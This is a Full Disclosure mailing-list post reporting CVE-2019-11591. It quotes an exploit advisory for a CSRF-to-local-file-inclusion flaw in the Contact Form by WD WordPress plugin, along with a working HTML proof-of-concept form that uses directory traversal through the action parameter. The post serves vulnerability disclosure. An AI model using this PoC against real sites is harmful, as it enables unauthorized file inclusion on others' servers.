-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 On Fri, Apr 05, 2019 at 02:02:29PM +0300, Panagiotis Vagenas wrote: > # Exploit Title: Contact Form by WD [CSRF → LFI] > # Date: 2019-03-17 > # Exploit Author: Panagiotis Vagenas > # Vendor Homepage: http://web-dorado.com/ > # Software Link: https://wordpress.org/plugins/contact-form-maker > # Version: 1.13.1 > # Tested on: WordPress 5.1.1 > > Description > ----------- > > Plugin implements the following AJAX actions: > > - `manage_fm` > - `get_stats` > - `generete_csv` > - `generete_xml` > - `formmakerwdcaptcha` > - `nopriv_formmakerwdcaptcha` > - `formmakerwdmathcaptcha` > - `nopriv_formmakerwdmathcaptcha` > - `product_option` > - `FormMakerEditCountryinPopup` > - `FormMakerMapEditinPopup` > - `FormMakerIpinfoinPopup` > - `show_matrix` > - `FormMakerSubmits` > - `FormMakerSQLMapping` > - `select_data_from_db` > - `manage` > > All of them call the function `form_maker_ajax_fmc`. This function > dynamicaly loads a file defined in `$_GET['action']` or > `$_POST['action']` if the former is not defined. Because of the way > WordPress defines the AJAX action a user could define the plugin action > in the `$_GET['action']` and AJAX action in `$_POST['action']`. > Leveraging that and the fact that no sanitization is performed on the > `$_GET['action']`, a malicious actor can perform a CSRF attack to load a > file using directory traversal thus leading to Local File Inclusion > vulnerability. > > The following AJAX actions are available only for the paid version of > the plugin: > > - `paypal_info` > - `checkpaypal` > - `nopriv_checkpaypal` > - `get_frontend_stats` > - `nopriv_get_frontend_stats` > - `frontend_show_map` > - `nopriv_frontend_show_map` > - `frontend_show_matrix` > - `nopriv_frontend_show_matrix` > - `frontend_paypal_info` > - `nopriv_frontend_paypal_info` > - `frontend_generate_csv` > - `nopriv_frontend_generate_csv` > - `frontend_generate_xml` > - `nopriv_frontend_generate_xml` > - `FMShortocde` > - `wd_bp_dismiss` > > In both free and paid versions, there are no-privilege actions that can > be exploited by unauthenticated users in order to include local files. > > PoC > --- > > ```html > <form method="post" > action="http://wp-csrf-new.test/wp-admin/admin-ajax.php?action=../../../../../index.php";> > <label>AJAX action: > <select name="action"> > <optgroup label="Free version"> > <option value="FMShortocde_fmc">FMShortocde_fmc</option> > <option > value="FormMakerEditCountryinPopup_fmc">FormMakerEditCountryinPopup_fmc</option> > <option > value="FormMakerIpinfoinPopup_fmc">FormMakerIpinfoinPopup_fmc</option> > <option > value="FormMakerMapEditinPopup_fmc">FormMakerMapEditinPopup_fmc</option> > <option > value="FormMakerSQLMapping_fmc">FormMakerSQLMapping_fmc</option> > <option > value="FormMakerSubmits_fmc">FormMakerSubmits_fmc</option> > <option > value="formmakerwdcaptcha_fmc">formmakerwdcaptcha_fmc</option> > <option > value="formmakerwdmathcaptcha_fmc">formmakerwdmathcaptcha_fmc</option> > <option > value="frontend_show_matrix_fmc">frontend_show_matrix_fmc</option> > <option value="generete_csv_fmc">generete_csv_fmc</option> > <option value="generete_xml_fmc">generete_xml_fmc</option> > <option value="get_stats_fmc">get_stats_fmc</option> > <option value="manage_fmc">manage_fmc</option> > <option value="manage_fm_fmc">manage_fm_fmc</option> > <option > value="nopriv_formmakerwdcaptcha_fmc">nopriv_formmakerwdcaptcha_fmc</option> > <option > value="nopriv_formmakerwdmathcaptcha_fmc">nopriv_formmakerwdmathcaptcha_fmc</option> > <option > value="product_option_fmc">product_option_fmc</option> > <option > value="select_data_from_db_fmc">select_data_from_db_fmc</option> > <option value="wd_bp_dismiss_fmc">wd_bp_dismiss_fmc</option> > </optgroup> > <optgroup label="Pro Version"> > <option value="paypal_info_fmc">paypal_info_fmc</option> > <option value="checkpaypal_fmc">checkpaypal_fmc</option> > <option > value="nopriv_checkpaypal_fmc">nopriv_checkpaypal_fmc</option> > <option > value="nopriv_get_frontend_stats_fmc">nopriv_get_frontend_stats_fmc</option> > <option > value="get_frontend_stats_fmc">get_frontend_stats_fmc</option> > <option > value="frontend_show_map_fmc">frontend_show_map_fmc</option> > <option > value="nopriv_frontend_show_map_fmc">nopriv_frontend_show_map_fmc</option> > <option value="show_matrix_fmc">show_matrix_fmc</option> > <option > value="nopriv_frontend_show_matrix_fmc">nopriv_frontend_show_matrix_fmc</option> > <option > value="frontend_paypal_info_fmc">frontend_paypal_info_fmc</option> > <option > value="nopriv_frontend_paypal_info_fmc">nopriv_frontend_paypal_info_fmc</option> > <option > value="frontend_generate_csv_fmc">frontend_generate_csv_fmc</option> > <option > value="nopriv_frontend_generate_csv_fmc">nopriv_frontend_generate_csv_fmc</option> > <option > value="frontend_generate_xml_fmc">frontend_generate_xml_fmc</option> > <option > value="nopriv_frontend_generate_xml_fmc">nopriv_frontend_generate_xml_fmc</option> > </optgroup> > </select> > </label> > <button type="submit" value="Submit">Submit</button> > </form> > > ```
MITRE assigned CVE-2019-11591 for this issue. - -- Henri Salo -----BEGIN PGP SIGNATURE----- iQIzBAEBCAAdFiEE/aVSDznAZReWTkxKJ633pE6qdXQFAlzHE1QACgkQJ633pE6q dXRuhRAAtcF4BJZKv7A1gZEjYMlAP9T8eY/TZPNShTsLfhOrMTcIhhKmM4XXh/+4 utOpHcfIVfwg4GkIfCTZOqluPuUdPUugWNz/Md47dbBj0z9pCz2pr0/wJESSLMe3 O3HEg1z0PtJchbNK2jHPWYQ39zDJsFoM1BE4xrvJiSti5aUFSifkTLsl6YcULoka C34jWhMXSh3AmMKHIF2aUwZYCplkNvh6Yh1/3qwfrdqx2TiNBEt90tR5cabWKXEw 9i7RS1PnplO5xTsIeOnh96uIw1VpfC0y5/d+9ceGYZXM6lFYxW2V5LVgL4i66L3q ITfk6PePS0viCA9QeYiqIL404DcrLfWqiwWjrv3kLmFmT5EG0OM5qSbWqNebYePB g8cuK1zQ1+MzG1J+aq4489+grdHjTL0KRaIGbvmY+molJYQVkYb/DW/c/dUc8BeW Xb0mL6H5qc9QqoJ0kQdrQX+FgBE/YF2+xWqVUYZhA2SkwjF6x3coiM9as/8AV7Gx 68QspjcjdZgTPrYM8wqsAzVfVwGnuLzJHMaDOM5swNBT3eHfKxZmsp6wppG0LXC/ jI0qsefMFr48e697gJCneu82BWR30ssRQ8kYjMXDaVUd9Rjg/isx1YvHGNPkJz+k uPw3okzMcVONnxr345V45WxLs3xHyRICTegf8SMt0JoTJ33yPGw= =YQbe -----END PGP SIGNATURE----- _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
